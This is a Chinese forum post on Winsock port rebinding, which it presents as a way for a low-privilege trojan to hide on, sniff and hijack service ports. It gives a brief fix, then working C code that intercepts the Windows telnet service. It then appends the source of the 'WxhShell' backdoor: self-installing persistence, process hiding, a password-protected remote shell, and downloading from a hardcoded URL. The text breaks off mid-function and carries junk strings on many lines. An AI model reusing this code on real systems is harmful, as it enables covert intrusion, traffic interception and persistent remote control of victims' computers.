社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9300阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ( F0.lDZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1fViW^l_  
D#W{:_f  
  saddr.sin_family = AF_INET; D:8-f3  
j4ypXPY``!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s2b!Nib  
E J q=MP  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H6bomp"  
mK@\6GOMYP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5(u7b  
yY[[)  
  这意味着什么?意味着可以进行如下的攻击: nH NMoA  
v-42_}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $C,f>^1  
|K aXek  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2Z7smDJ  
z})H$]:$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1g2%f9G  
7&'^H8V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C.%iQx`   
W(~G^Xu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 im*QaO%a4  
L.l"'=M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \dbpC Z  
Vu^J'>X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jEit^5^5|  
\eI )(,A  
  #include f*2V  
  #include zu*0uL  
  #include AG/nX?u7)t  
  #include    Fl(+c0|kT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W\N-~9UA  
  int main() X~]eQaJ  
  { rS>njG;R  
  WORD wVersionRequested; >pG]#Z g  
  DWORD ret; u;h9Ra1  
  WSADATA wsaData; 7bQ#M )}  
  BOOL val; #9#N+  
  SOCKADDR_IN saddr; j 7a;g7.  
  SOCKADDR_IN scaddr; N#Qby4w >  
  int err; b0m1O.&I_  
  SOCKET s; YAC=V?U-#  
  SOCKET sc; _GI [SzD  
  int caddsize; VqVP5nT'=  
  HANDLE mt; vh KA8vr  
  DWORD tid;   }\*dD2qNL}  
  wVersionRequested = MAKEWORD( 2, 2 ); wV W+~DJ  
  err = WSAStartup( wVersionRequested, &wsaData ); (aiE!c  
  if ( err != 0 ) { 42U3>  
  printf("error!WSAStartup failed!\n"); \1aj!)  
  return -1; VskyRxfdW3  
  } pc^(@eD  
  saddr.sin_family = AF_INET; Rj^bZ%t  
   75Jh(hd(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rM=Q.By+\  
DK*2 d_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9i,QCA  
  saddr.sin_port = htons(23); v;?t=}NwF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YpL{c*M  
  { m-*du(  
  printf("error!socket failed!\n"); ?!Rl p/  
  return -1; .;/@k%>   
  } 5W 5\  *L  
  val = TRUE; ^0~?3t5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zhz.8W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7!<cU  
  { Z-Bw?_e_K  
  printf("error!setsockopt failed!\n"); e,`+6qP{  
  return -1; r}D`15IHJ  
  } wH{lp/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c6E@+xU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JgYaA*1X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KB *[b  
#E{OOcM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1wE~dpnx  
  { @~QW~{y  
  ret=GetLastError(); 'u_'y  
  printf("error!bind failed!\n"); fCO!M1t  
  return -1; Ks8S^77  
  } b==<7[8  
  listen(s,2); 7!Ym~M=  
  while(1) q:J,xC_sF(  
  { -UUP hGC  
  caddsize = sizeof(scaddr); NnrX64|0  
  //接受连接请求 jP@H$$-=wH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1 /7H` O?  
  if(sc!=INVALID_SOCKET) )Qp?N<&'  
  { IUbYw~f3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2[qO;js  
  if(mt==NULL) :HMnU37m W  
  { A5!f#  
  printf("Thread Creat Failed!\n"); /3'-+bp^=  
  break; ;u!>( QQ  
  } ran Q_\  
  } l)a]V]oQ  
  CloseHandle(mt); $MB56]W8  
  } t9Pu:B6  
  closesocket(s); gqyQ Zew  
  WSACleanup(); %I&Hx<H j  
  return 0; }y x'U 3  
  }   0K@s_C=n#  
  DWORD WINAPI ClientThread(LPVOID lpParam) P]j{JL/g&  
  { cDm_QYQ  
  SOCKET ss = (SOCKET)lpParam; hgfCM  
  SOCKET sc; A4Q8^^byY  
  unsigned char buf[4096]; **fJAANc  
  SOCKADDR_IN saddr; 1ncY"S/VO  
  long num; %]r@vjeyd  
  DWORD val; 6$ 9n_AS  
  DWORD ret; Ia0.I " ,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FTtYzKX(bv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?`,Xb.NA$K  
  saddr.sin_family = AF_INET; #N[nvIi}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); efl6U/'Ij  
  saddr.sin_port = htons(23); pWO,yxr:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eaYQyMv@  
  { M-T&K% /lW  
  printf("error!socket failed!\n"); m`I6gnLj  
  return -1; HGh`O\f8  
  } 2Z\6xb|u  
  val = 100; aOyAP-m,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -81usu&NH  
  { W*}q;ub;  
  ret = GetLastError(); ;]KGRT  
  return -1;  Q.DtC  
  } ~bdADVH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1EyM,$On  
  { #-f7hg*  
  ret = GetLastError();  H.'MQ  
  return -1; .FXq4who  
  } K /g\x0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {%N*AxkvId  
  { |L%F`K>Z:  
  printf("error!socket connect failed!\n"); R1{ "  
  closesocket(sc); sn}U4=u  
  closesocket(ss); vd9l1"S  
  return -1; `~(KbH=]  
  } H}dsd=yO  
  while(1) Y3mATw 3Wh  
  { ~Q0jz/#c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =S|SQz5%w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9fzbR~s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f+Put  
  num = recv(ss,buf,4096,0); UF|v=|*{#  
  if(num>0) ~+q$TV  
  send(sc,buf,num,0); (C!u3ke2D  
  else if(num==0) 2%rAf8=  
  break; O5{ >k  
  num = recv(sc,buf,4096,0); IT'~.!o7/  
  if(num>0) bJx{mq  
  send(ss,buf,num,0); Tm.(gK  
  else if(num==0) .B6$U>>NS^  
  break; 4%KNHeaN  
  } m!$"-nh9  
  closesocket(ss); ]9l=geZd%;  
  closesocket(sc); c03A_2%  
  return 0 ; Hhx<k{B@7  
  } ,fT5I6l  
S^c5  
I,_wt+O&j  
========================================================== ?Q]&d!U Cs  
8N'`kd~6[  
下边附上一个代码,,WXhSHELL q/6d^&  
hE/gul?|_  
========================================================== cr27q6_  
vMRM/.  
#include "stdafx.h" ALiA+k N  
"F7g8vu  
#include <stdio.h> S5-}u)XnH  
#include <string.h> AVZ-g/<  
#include <windows.h> _`+ !,kG[  
#include <winsock2.h> g%4-QCZ,  
#include <winsvc.h> ;k9s@e#a  
#include <urlmon.h> ]RML;]^  
kgEGL]G>  
#pragma comment (lib, "Ws2_32.lib") G!ty@ Fx  
#pragma comment (lib, "urlmon.lib") s~6?p% 2]  
Hd U1gV>  
#define MAX_USER   100 // 最大客户端连接数 DCACj-f  
#define BUF_SOCK   200 // sock buffer INyreoMp  
#define KEY_BUFF   255 // 输入 buffer sG%Q?&-  
q-KN{y/  
#define REBOOT     0   // 重启 P2_JS]>  
#define SHUTDOWN   1   // 关机 TlYeYN5V  
Y@c! \0e$  
#define DEF_PORT   5000 // 监听端口 DQ?'f@I&*  
erdWGUfQOe  
#define REG_LEN     16   // 注册表键长度 r\F`xtR(  
#define SVC_LEN     80   // NT服务名长度 Ja4O*C<  
THi*'D/  
// 从dll定义API smoz5~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A%Pjg1(uX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vnw83a%3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `$JPF  Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R.Ao%VT  
8*V3g_z  
// wxhshell配置信息 C o4QWyt:  
struct WSCFG { _ncqd,&z  
  int ws_port;         // 监听端口 p,* rVz[Y  
  char ws_passstr[REG_LEN]; // 口令 xm6=l".%z  
  int ws_autoins;       // 安装标记, 1=yes 0=no Sl/[9- a)  
  char ws_regname[REG_LEN]; // 注册表键名 Dr^#e  
  char ws_svcname[REG_LEN]; // 服务名 +#"CgZ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [;7&E{,C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $A`D p{e"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xjt/ G):L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O'Lgb9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q0Y0Zt,h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V)mRG`L  
(%rO'X  
}; ;$ D*,W *  
]S[M]-I  
// default Wxhshell configuration s_N?Y)lS+(  
struct WSCFG wscfg={DEF_PORT, 6 wYd)MDLL  
    "xuhuanlingzhe", lM3UjR|@  
    1, q~^Jd=cB\  
    "Wxhshell", bJ*jJl x  
    "Wxhshell", L%# #U'e3  
            "WxhShell Service", 2ro4{^(_  
    "Wrsky Windows CmdShell Service", 1mz;4xb  
    "Please Input Your Password: ", JQP7>W  
  1, +H,/W_/g  
  "http://www.wrsky.com/wxhshell.exe", fil'._  
  "Wxhshell.exe" Pn\ Lg8  
    }; P sij*%I4  
h\Ck""&  
// 消息定义模块 p~Fc *g[!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;?"]S/16,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ycg5S rg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ow,I|A  
char *msg_ws_ext="\n\rExit."; ; f:}gMK  
char *msg_ws_end="\n\rQuit."; \{ r%.G  
char *msg_ws_boot="\n\rReboot..."; #eD@s En  
char *msg_ws_poff="\n\rShutdown..."; `f,SY  
char *msg_ws_down="\n\rSave to "; Ob$| IH8.  
ne4j_!V{Mf  
char *msg_ws_err="\n\rErr!"; Cu3^de@h  
char *msg_ws_ok="\n\rOK!"; EtjN :p|$  
_Qs=v0B//  
char ExeFile[MAX_PATH]; d/vF^v*o0X  
int nUser = 0; *.#d'~+  
HANDLE handles[MAX_USER]; k_ 9gMO  
int OsIsNt; +@ga  
eGwrSF#a)  
SERVICE_STATUS       serviceStatus; ak 94"<p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xp"ZK=r  
v_3r8My-  
// 函数声明 GD<xmuo  
int Install(void); &k*sxW'  
int Uninstall(void); wWB-P6  
int DownloadFile(char *sURL, SOCKET wsh); :8cp]v dW  
int Boot(int flag); i1e|UR-wl  
void HideProc(void); bnt>j0E  
int GetOsVer(void); y=_8ae}aD~  
int Wxhshell(SOCKET wsl); Q%o:*(x[O  
void TalkWithClient(void *cs); w#_/CU L  
int CmdShell(SOCKET sock); PTfTT_t  
int StartFromService(void); ]|ew!N$ar=  
int StartWxhshell(LPSTR lpCmdLine); . Xn w@\k'  
8x#SpDI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6,"86  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :QT0[P5O  
H,bYzWsrPo  
// 数据结构和表定义 G[z!;Zuf  
SERVICE_TABLE_ENTRY DispatchTable[] = owHhlS{  
{ 9(g?{6v|  
{wscfg.ws_svcname, NTServiceMain}, I]t ",s/j  
{NULL, NULL} xs y5"  
}; &,/_"N"?D  
#!(OTe L  
// 自我安装 \yP\@cpY{  
int Install(void) ,) ^4H>~V  
{ 't'~p#$,F  
  char svExeFile[MAX_PATH]; D|lp3\`%  
  HKEY key; |giV<Sj  
  strcpy(svExeFile,ExeFile); 3@P 2]Q~D  
xp<\7m_N  
// 如果是win9x系统,修改注册表设为自启动 qT7E"|.$  
if(!OsIsNt) { <\l@`x96"D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OPH f9T3H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^t,sehpR:l  
  RegCloseKey(key); GY@(%^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wPdp!h7B~N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I/:M~ b  
  RegCloseKey(key);  0IO#h{t  
  return 0; O}5mDx  
    } {}!`v%z  
  } J%]< /J  
} -8H0f- 1  
else { (`<X9w,  
`R]B<gp  
// 如果是NT以上系统,安装为系统服务 QS.t_5<U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !lf'gW  
if (schSCManager!=0) X&R ,-^  
{ oRmz'F  
  SC_HANDLE schService = CreateService =g)|g+[H  
  ( y qDE|DIez  
  schSCManager, `(NMHXgG+  
  wscfg.ws_svcname, Kgh@.Ir  
  wscfg.ws_svcdisp, =w&JDj  
  SERVICE_ALL_ACCESS, J;"66ue(d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vZ3/t8$*  
  SERVICE_AUTO_START, yU'Fyul  
  SERVICE_ERROR_NORMAL, >Wvb!8N  
  svExeFile, 91Bl{  
  NULL, $KDH"J  
  NULL, e lj]e  
  NULL, ^PHWUb+``  
  NULL, >~C*m `#  
  NULL [AgS@^"sf5  
  ); 6bj.z  
  if (schService!=0) GddP)l{uCF  
  { gYb}<[O!  
  CloseServiceHandle(schService); VE3,k'^v  
  CloseServiceHandle(schSCManager); :rr;9nMR[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B^Z %38o  
  strcat(svExeFile,wscfg.ws_svcname); V}de|=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1C) l) pV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "W!Uxc  
  RegCloseKey(key); 2rK%fV53b  
  return 0; 6%'bo`S#  
    } ]3UEju8$  
  } ';<gc5EK  
  CloseServiceHandle(schSCManager); !5 8j xh  
} q=Cc2|Ve  
} T#&tf^;  
, H$1iJ?  
return 1; *htv:Sr  
} VsLlPw{  
aN n\URR  
// 自我卸载 h,QC#Ak o  
int Uninstall(void) *2wFLh  
{ 6%N.'wf  
  HKEY key; Lckb*/jV&  
<*O~?=6p  
if(!OsIsNt) { QAs$fi}f]s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iBlZw%zKP  
  RegDeleteValue(key,wscfg.ws_regname); G+Gd ;`4  
  RegCloseKey(key); yc ize2>q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &,vPZ,7l  
  RegDeleteValue(key,wscfg.ws_regname); .8[Uk^q  
  RegCloseKey(key); y"5>O|`  
  return 0; c*iZ6j"iI  
  } yffg_^fR  
} @0js=3!2  
} H<6TN^  
else { )<Cf,R  
ean_/E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K7o!,['W  
if (schSCManager!=0) f;";P  
{ aB@D-Y"HO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {{'GR"D  
  if (schService!=0) Z.:g8Xl-6  
  { mR JX,  
  if(DeleteService(schService)!=0) { RE*;_DF  
  CloseServiceHandle(schService); df@r2 /Y  
  CloseServiceHandle(schSCManager); 6[cC1a3r:  
  return 0; vd0;33$L  
  } ,LD[R1TU8  
  CloseServiceHandle(schService); 3 *0/<1f1!  
  } i{1SUx+Re  
  CloseServiceHandle(schSCManager); sw:o3cC]  
} 3RSiu}  
} PWU8 9YXp  
Rn] `_[)*~  
return 1; @D:$~4ks  
} o u%Xnk~  
Q[5j5vry  
// 从指定url下载文件 %5) 1^  
int DownloadFile(char *sURL, SOCKET wsh) R 1CoS6  
{ L?[NXLn+  
  HRESULT hr; f9R~RRz  
char seps[]= "/"; |ATz<"q>  
char *token; WX2:c,%:  
char *file; 3}U {~l!K  
char myURL[MAX_PATH]; ?ks3K-.4  
char myFILE[MAX_PATH]; #2&DDy)B f  
M}jF-z  
strcpy(myURL,sURL); RXo!K iQO  
  token=strtok(myURL,seps); a?635*9K  
  while(token!=NULL) fV}:eEo|Y  
  { }F v:g!  
    file=token; fgzkc"ReK  
  token=strtok(NULL,seps); ~3 ,>TV  
  } .TI =3*`G  
8oAr<:.=  
GetCurrentDirectory(MAX_PATH,myFILE); $>Y2N5  
strcat(myFILE, "\\"); l'Oz-p.@  
strcat(myFILE, file); B;k3YOg  
  send(wsh,myFILE,strlen(myFILE),0); <o JM||ZA  
send(wsh,"...",3,0); R8Kj3wp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e|6kgj3/  
  if(hr==S_OK) :[hZn/  
return 0; e7T}*Up  
else +`y{r^xD  
return 1; ihv=y\Jt  
`,-w+3?Al  
} BYh F?  
ao+lLCr  
// 系统电源模块 D's Tv}P  
int Boot(int flag) I-L52%E]  
{ 7FQ&LF46  
  HANDLE hToken; G[;GP0\N  
  TOKEN_PRIVILEGES tkp; x%J4A+kU  
U04TVQn`  
  if(OsIsNt) {  j<BW/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U- b(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )sONfn  
    tkp.PrivilegeCount = 1; uItzFX*   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .m r& zq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J(0E'o{ug  
if(flag==REBOOT) { D9hV`fA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %MA o<,ha  
  return 0; 5X4 #T&.  
} >#9 f{  
else { ]2Vu+AP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z$a5vu*pg  
  return 0; Z%rMX}  
} -^R6U~  
  } %3Ba9Nmid  
  else { [9hslk  
if(flag==REBOOT) { { :^;byd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0@O:C::  
  return 0; >g{ w,  
} b8QQS#q)V  
else { }jfOs(Q]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xOKLc!J  
  return 0; ]U4)2s  
} x6h';W_ 8  
} a/@F?\A  
Fl{@B*3@w  
return 1; jV}tjwq  
} BXzn-S  
9a$\l2  
// win9x进程隐藏模块 C>}@"eK  
void HideProc(void) Q+ i  
{ z(o zMH  
&d%0[Ui`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x>C_O\  
  if ( hKernel != NULL ) 5{PT  
  { /i[1$/*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b6]MJ0do  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3dl#:Si  
    FreeLibrary(hKernel); ?3duW$`  
  } B.Szp_$  
l?f%2:}m  
return; XCN^>ToD  
} SV?^i`  
Y&![2o.Q  
// 获取操作系统版本 spX*e1  
int GetOsVer(void) .kl.awT  
{ e >6NO  
  OSVERSIONINFO winfo; dcn/|"jr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ifx EM  
  GetVersionEx(&winfo); t.s;dlx[@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *v}3So  
  return 1; oe4r_EkYwW  
  else QEC4!$L^  
  return 0; S;I>W&U  
} -ff@W m  
><HHO (74X  
// 客户端句柄模块 )j_Y9`R  
int Wxhshell(SOCKET wsl) [& d"Z2gK  
{ ,E._A(Z  
  SOCKET wsh; \>G:mMk/  
  struct sockaddr_in client; 0#/NZO  
  DWORD myID; U!TSAg21P  
crDm2oA~t  
  while(nUser<MAX_USER) J#/L}h;qH  
{ ##\ <mFE  
  int nSize=sizeof(client); Xc}~_.]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U+4W9zhwo  
  if(wsh==INVALID_SOCKET) return 1; M^6!{c=MIi  
*7JsmN?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -(;<Q_'s{"  
if(handles[nUser]==0) ; *ZiH%q,  
  closesocket(wsh); n N_Ylw  
else -50 Nd=1  
  nUser++; fZ6-ap,u  
  } QnZ7e#@UP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eoGGWW@[  
yGs:3KI  
  return 0; |<aF)S4  
} Y CBcyE}p  
GV"X) tGo  
// 关闭 socket V,?BVt  
void CloseIt(SOCKET wsh) Rf4}4ixkj  
{ j@guB:0  
closesocket(wsh); d1{%z\u a  
nUser--; h!!7LPxt  
ExitThread(0); ^5{0mn_4i  
} .1q4Q\B<  
.Bs~FIe^  
// 客户端请求句柄 c_N'S_)~7Q  
void TalkWithClient(void *cs) ;;]^d_  
{ !uxma~ZH-  
A.|98*U%  
  SOCKET wsh=(SOCKET)cs; *[ww;  
  char pwd[SVC_LEN]; r;"uk+{i  
  char cmd[KEY_BUFF]; 0kiV-yc   
char chr[1]; Ij_h #f   
int i,j; c`M ,KXott  
3;F+.{Icc  
  while (nUser < MAX_USER) { Ir4M5OR\  
U 6`E\?d`  
if(wscfg.ws_passstr) { + 2j]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); < cUaIb;(4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G?e\w+}Pj@  
  //ZeroMemory(pwd,KEY_BUFF); qy^sdqHl@  
      i=0; 92";?Xk  
  while(i<SVC_LEN) { fnJ!~b*qo  
`9vCl@"IV  
  // 设置超时 WWtksi,  
  fd_set FdRead; ([Da*Tk*  
  struct timeval TimeOut; h4,S /n  
  FD_ZERO(&FdRead); 2+'4m#@)  
  FD_SET(wsh,&FdRead); >$/PfyY7@#  
  TimeOut.tv_sec=8; |WUm;o4E`U  
  TimeOut.tv_usec=0; 9`| ^cL*6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g+zfa.wQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Afao Fn+  
?,AWXiif  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s6HfN'  
  pwd=chr[0]; WW.amv/[a  
  if(chr[0]==0xd || chr[0]==0xa) { >=VtL4K^  
  pwd=0; VYAz0H1-_  
  break; [ }1+=Ub  
  } ,enU`}9V*  
  i++; =AVr<kP  
    } XT<{J8 0z  
s4kkzTnXE3  
  // 如果是非法用户,关闭 socket y7LT;`A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f{j.jfl\x  
} zjlo3=FQX[  
R;3Tyn+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T!3_Q/~^r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ZLA=oD  
 dl;  
while(1) { ]4 q6N  
]*\m@lWu  
  ZeroMemory(cmd,KEY_BUFF); p J#<e  
3A)Ec/;~  
      // 自动支持客户端 telnet标准   ]R7zvcu&  
  j=0; t9Y?0O}/  
  while(j<KEY_BUFF) { Ip&Q'"HYj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lr-:o@q{  
  cmd[j]=chr[0]; /2jw]ekQ'  
  if(chr[0]==0xa || chr[0]==0xd) { \66j4?H#  
  cmd[j]=0; 0<4Sw j3s7  
  break; m! H7;S-(  
  } #>[5NQ;$'  
  j++; !tckE\ h#N  
    } 2[e^mm&.   
ge@KopZ&  
  // 下载文件 kE*OjywN  
  if(strstr(cmd,"http://")) { QmRE<i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XL2iK)A  
  if(DownloadFile(cmd,wsh)) #->#mshd4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFwJ%(IQ  
  else r[votdFo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~L3]Wa.  
  } B 4my  
  else { 18{" @<wIs  
-< RG'I~  
    switch(cmd[0]) { S mjg[  
  48t_?2>  
  // 帮助 *j/[5J0'M  
  case '?': { /GDGE }  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ET:B"  
    break; !ZC0n`  
  } t w?\bB  
  // 安装 0oU;Cmw.  
  case 'i': { LI/;`Y=  
    if(Install()) gZ&' J\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?47v4n-'  
    else 0{'%j~"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yG%<LP2p@f  
    break; W%.ou\GN^t  
    } %@4/W  N  
  // 卸载 !5escR!\D  
  case 'r': { VfON{ 1g  
    if(Uninstall()) cJQ&#u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1-6[KBQ8  
    else >Vl8ZQ8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%cm;o[7o  
    break; V/@?KC0B5  
    } 'D1Sm&M2%e  
  // 显示 wxhshell 所在路径 6~b]RZe7  
  case 'p': { cV+ x.)a.  
    char svExeFile[MAX_PATH]; w\f>.N  
    strcpy(svExeFile,"\n\r"); kV$$GLD\  
      strcat(svExeFile,ExeFile); Ohe* m[  
        send(wsh,svExeFile,strlen(svExeFile),0); WG\gf\=I  
    break; V {H/>>k7  
    } [WxRwE  
  // 重启 #'?gMVSk  
  case 'b': { A;g{H|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3Hg}G#]WS  
    if(Boot(REBOOT)) 7x ?2((   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bx&F*a;5  
